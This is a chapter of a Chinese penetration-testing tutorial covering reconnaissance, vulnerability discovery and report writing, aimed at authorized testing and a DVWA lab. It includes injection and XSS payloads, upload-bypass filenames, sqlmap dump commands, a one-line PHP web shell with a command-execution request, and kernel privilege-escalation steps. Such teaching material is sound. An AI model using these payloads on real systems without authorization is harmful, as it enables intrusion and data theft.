安全测试从入门到精通_实战演练与报告编写
文章目录
第7章:实战演练 — 一次完整的渗透测试
本章目标:模拟一次真实的渗透测试全流程——从信息收集到报告撰写,完整走一遍。
7.1 渗透测试的标准流程
| 阶段 | 目标 | 关键活动 | 投入时间 |
|---|---|---|---|
| 📋 授权 | 获取书面许可,明确测试范围 | 签保密协议、定规则 | 前期 |
| 🔍 信息收集 | 尽可能多地了解目标 | 域名查询、端口扫描、目录枚举 | 40% |
| 🔎 漏洞发现 | 找到潜在漏洞 | 漏洞扫描、手工测试 | 30% |
| 💥 漏洞验证 | 证明漏洞存在 | 利用漏洞、获取权限 | 15% |
| 📈 权限提升 | 获取更高权限 | 提权exp、密码提取 | 5% |
| 🔄 横向移动 | 扩大战果 | 内网探测 | 5% |
| 📝 报告编写 | 清晰呈现结果 | 写报告,给修复建议 | 5% |
🗣️ 作者说:信息收集其实占渗透测试 40% 的时间!新手往往急着"搞事情"(漏洞利用),但老手知道——信息越充分,后面的攻击越轻松。
7.2 信息收集 — 知己知彼,百战不殆
🌐 外网信息收集矩阵
实操:以 target.com 为例
Step 1: 基础信息收集
# 1. WHOIS查询
whois target.com
# 看: 注册人、注册邮箱、DNS服务器、注册日期
# 2. DNS解析
nslookup target.com # A记录(IP地址)
nslookup -type=mx target.com # 邮件服务器
nslookup -type=ns target.com # 域名服务器
# 3. 子域名枚举
# 使用 Sublist3r
sublist3r -d target.com
# 或者用 Amass
amass enum -d target.com
Step 2: 端口扫描
# 快速端口扫描
nmap -sS -sV -T4 target.com
# 全端口扫描(慢但全面)
nmap -p- -sV target.com -oN full_scan.txt
Step 3: Web指纹识别
# 使用 WhatWeb
whatweb target.com
# 输出: [200 OK] Apache[2.4.41], PHP[7.4.3], Joomla[3.9.18]
# 或者用 Wappalyzer(浏览器插件)
# 安装了就能在浏览器工具栏上看到网站的技术栈
Step 4: 目录扫描
# 使用 Gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 常见发现:
# /admin/ → 管理后台
# /backup/ → 备份文件
# /api/ → API接口
# /uploads/ → 上传目录
# /.git/config → Git泄露
# /.env → 环境变量泄露
# /robots.txt → 可能暴露隐藏路径
📝 信息收集清单
把下面这个清单当成你的"侦察"检查表:
✅ 域名信息
□ WHOIS 注册信息
□ DNS 记录 (A, MX, NS, CNAME)
□ 子域名列表
□ 相关域名(同一个公司注册的其他域名)
✅ 网络信息
□ IP地址列表
□ 开放端口清单(22/80/443/3306/8080...)
□ 每个端口上的服务版本
□ 操作系统类型和版本
□ CDN/WAF 信息
✅ Web应用信息
□ Web服务器类型和版本(Apache/Nginx/IIS)
□ 后端语言(PHP/Java/Python/Node.js)
□ 框架(Spring/Django/Laravel/WordPress)
□ 前端框架(React/Vue/Angular)
□ 认证方式(登录页/Session/Token/JWT)
□ 发现的路径/文件列表
□ robots.txt 内容
✅ 技术细节
□ 邮件服务器(MX记录)
□ 第三方服务(CDN, 分析工具, S3)
□ SSL证书信息(颁发者、有效期)
□ 错误页面信息泄露
7.3 漏洞发现 — 用工具和手工配合
🔎 自动化扫描
# 1. 使用 Nikto(老牌Web扫描器)
nikto -h http://target.com
# 2. 使用 OWASP ZAP(免费替代Burp Scanner)
# 图形界面操作: 启动ZAP → 输入目标URL → 点击Attack
# 3. Nmap漏洞脚本
nmap --script vuln target.com
✋ 手工重点测试(按照优先级)
当自动化扫描结束后,安全测试的真正价值在于手工测试:
手工测试清单:
每个用户输入框:
- 测试SQL注入: ' " ) ; --
- 测试XSS: <script>alert(1)</script> <img src=x onerror=alert(1)>
- 测试命令注入: ; whoami | id && ping
- 测试模板注入: {{7*7}} ${7*7}
每个带ID的请求:
- 测试IDOR: 修改 user_id/order_id/document_id
- 测试水平越权: 登录A,操作B的资源
- 测试垂直越权: 普通用户尝试访问admin功能
每个文件上传点:
- 测试扩展名: .php, .jsp, .war, .exe
- 测试N重绕过: .php.jpg, .php;.jpg, .php%00.jpg
每个API接口:
- 测试HTTP方法: GET/POST/PUT/DELETE/OPTIONS
- 测试认证: 去掉Token还能访问吗?
- 测试参数: 添加/删除/修改参数
- 测试批量: 能不能一次性获取大量数据?
7.4 漏洞利用 — 证明危害
找到漏洞后,"如何证明它的危害"是渗透测试的关键一步。
💥 漏洞利用示例
场景一:SQL注入获取管理员密码
# 目标: 通过SQL注入获取admin用户的密码
# Step 1: 确认注入点
# 输入: 1' OR 1=1 -- → 返回了所有用户信息
# Step 2: 使用SQLMap全面获取
sqlmap -u "http://target.com/user?id=1" --dbs
sqlmap -u "http://target.com/user?id=1" -D target_db -T users --dump
# Step 3: 拿到admin密码哈希
# Hash: 5f4dcc3b5aa765d61d8327deb882cf99
# 这是MD5(password) → 用在线MD5解密 → "password"
# Step 4: 用admin/password登录管理后台
curl -c cookies.txt -b cookies.txt -X POST "http://target.com/admin/login" \
-d "username=admin&password=password"
# Step 5: 登录成功!获得管理后台访问权限
场景二:枚举管理后台找到上传点
# 使用Gobuster扫描管理后台
gobuster dir -u http://target.com/admin/ -w /usr/share/wordlists/dirb/common.txt
# 发现: /admin/upload.php → 文件上传功能
# 尝试上传PHP webshell
# 先用Burp拦截上传请求
# 修改filename为shell.php
# 修改Content-Type为image/jpeg
# POST文件中写入:
<?php system($_REQUEST['cmd']);?>
# 如果上传成功:
curl "http://target.com/admin/uploads/shell.php?cmd=whoami"
# 返回: www-data ✅ 获得了命令执行!
场景三:低权限提权(Linux)
# 已经在目标服务器上有了www-data权限
# 查看内核版本
uname -a
# Linux target 4.4.0-116-generic
# 搜索对应的提权EXP
searchsploit linux 4.4.0
# 发现: CVE-2017-16995 (Linux Kernel 4.4.0 本地提权)
# 编译并运行提权EXP
gcc exploit.c -o exploit
./exploit
# 检查权限
whoami
# root ✅ 获得root权限!
7.5 报告编写 — 让你的发现"值钱"
📋 为什么报告很重要?
安全测试的价值,不在你发现了多少漏洞,而在于你能不能让别人理解这些漏洞的风险。
一个"坏"报告和"好"报告的区别:
| ❌ 坏报告 | ✅ 好报告 | |
|---|---|---|
| 漏洞描述 | “有SQL注入” | “用户登录框的username参数存在基于错误的SQL注入,可被用于获取数据库中的用户凭据” |
| 风险说明 | “很危险” | “可导致约12万条用户记录(含加密密码和手机号)被窃取” |
| 复现步骤 | “1. 输入单引号” | “Step1-3 详细操作说明 + Burp请求截图” |
| 修复建议 | “修复SQL注入” | “建议使用参数化查询,具体修改方式见PHP代码示例” |
📝 安全测试报告模板
┌─────────────────────────────────────────────────────┐
│ 安全渗透测试报告 │
│ Target: xxx.com │
│ 测试日期: 2024-01-01 至 2024-01-05 │
│ 报告日期: 2024-01-06 │
│ 测试人员: 安全测试团队 │
└─────────────────────────────────────────────────────┘
目 录
═══════════════════════════════════════════
1. 概要
2. 测试范围
3. 风险评估汇总
4. 高危漏洞详情
5. 中危漏洞详情
6. 低危漏洞详情
7. 信息泄露/建议
8. 修复建议汇总
9. 附录
═══════════════════════════════════════════
1. 概要
─────────────────────────────────
本次渗透测试对 xxx.com 进行了全面的安全评估,
共发现 12 个安全问题,其中:
- 🔴 高危: 3 个
- 🟡 中危: 5 个
- 🟢 低危: 4 个
2. 测试范围
─────────────────────────────────
- 主域名: https://www.xxx.com
- API域名: https://api.xxx.com
- 排除: 第三方支付接口、邮件服务器
3. 风险评估汇总
─────────────────────────────────
┌──────────┬────────┬──────────┬──────────┐
│ 漏洞类型 │ 数量 │ 最高风险 │ 影响范围 │
├──────────┼────────┼──────────┼──────────┤
│ SQL注入 │ 1 │ 🔴 │ 数据库 │
│ XSS │ 2 │ 🟡 │ 用户端 │
│ IDOR │ 2 │ 🔴 │ 用户数据 │
│ 信息泄露 │ 4 │ 🟢 │ 无 │
│ 配置错误 │ 3 │ 🟡 │ 服务器 │
└──────────┴────────┴──────────┴──────────┘
4. 高危漏洞详情
─────────────────────────────────
==== 漏洞 #001: SQL注入 ====
┌──────────────────────────────────┐
│ 风险等级: ■■■■■ 高危 │
│ 漏洞类型: SQL注入 │
│ 漏洞位置: /api/user/getInfo │
│ 参数: user_id │
│ CVSS分数: 9.1 │
└──────────────────────────────────┘
【漏洞描述】
/user/getInfo 接口的 user_id 参数未做任何过滤,
直接拼接到SQL查询中,攻击者可以通过构造恶意参数
获取数据库中所有用户信息,包括密码哈希。
【复现步骤】
1. 登录系统,获取有效的访问Token
2. 发送以下请求:
GET /api/user/getInfo?user_id=1' OR '1'='1
Authorization: Bearer [Token]
3. 响应中返回了所有用户的信息,包括密码字段
【漏洞截图】
[图片: Burp Suite 请求/响应截图]
【影响范围】
- 影响约50,000条用户记录
- 包含加密密码、手机号、邮箱等敏感信息
【修复建议】
将 user_id 参数使用参数化查询方式处理。
代码示例:
```python
# 修改前:
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
# 修改后:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
═══════════════════════════════════════════
- 中危漏洞详情
─────────────────────────────────
[… 类似格式 …]
═══════════════════════════════════════════
- 修复建议汇总
─────────────────────────────────
┌──────────────┬────────────────────┬────────┬────────┐
│ 漏洞编号 │ 修复类型 │ 优先级 │ 预估工时 │
├──────────────┼────────────────────┼────────┼────────┤
│ #001 SQL注入 │ 修改SQL查询方式 │ P0紧急 │ 4h │
│ #002 IDOR │ 添加权限验证 │ P0紧急 │ 8h │
│ #003 XSS │ 添加输出编码 │ P1高 │ 2h │
│ … │ │ │ │
└──────────────┴────────────────────┴────────┴────────┘
═══════════════════════════════════════════
- 附录
─────────────────────────────────
A. 使用的工具清单
B. 测试账号信息
C. 测试时间线
D. 风险评级标准说明
---
## 7.6 实战总结:渗透测试的完整性检查
### ✅ 渗透测试执行清单
【前期准备】
□ 获取书面授权(绝对不能少!)
□ 确认测试范围(哪些IP/域名/功能)
□ 确定测试规则(不能搞崩、不能改数据)
□ 建立沟通渠道(发现严重问题了通知谁)
【信息收集】
□ 全面子域名收集
□ 端口扫描 + 服务识别
□ Web指纹识别
□ 目录/文件枚举
□ 技术栈漏洞搜索
【漏洞测试】
□ 自动化扫描(ZAP/Burp Scanner/Nikto)
□ 手工验证每个输入点(SQL/XSS/命令注入)
□ 测试所有认证接口(暴力/越权/Session)
□ 测试业务逻辑漏洞
□ 测试文件上传/下载功能
□ 测试API接口安全性
【漏洞利用】
□ 高危漏洞尽量利用到"证明危害"级别
□ 记录完整的复现步骤
□ 保存所有截图/请求记录
【报告输出】
□ 完整的渗透测试报告
□ 漏洞汇总表(按风险等级排序)
□ 每个漏洞的详细描述+复现步骤+修复建议
□ 汇报并解答问题
【清理工作】
□ 删除上传的测试文件
□ 清理测试用的账号
□ 恢复修改过的配置
□ 确认测试痕迹已清除
---
## 📝 本章小结
> **"渗透测试的价值,不在于你能黑到什么程度,而在于你能帮助组织提高多少安全水位。"**
```mermaid
flowchart LR
A[信息收集<br>40%时间] --> B[漏洞发现<br>30%时间]
B --> C[漏洞验证<br>15%时间]
C --> D[报告编写<br>5%时间]
D --> E[交付价值<br>100%]
style E fill:#51cf66,color:#fff
🧠 本章练习
综合练习题:模拟渗透测试
使用 DVWA 作为靶机,完成一次完整的渗透测试:
- 信息收集:扫描DVWA的端口、识别技术栈
- 漏洞发现:至少找到3个不同类型的漏洞
- 漏洞利用:利用SQL注入获取管理员密码
- 权限提升:尝试通过文件上传获取webshell
- 报告编写:写一份完整的渗透测试报告(至少包含1个高危、1个中危漏洞)
更多推荐

所有评论(0)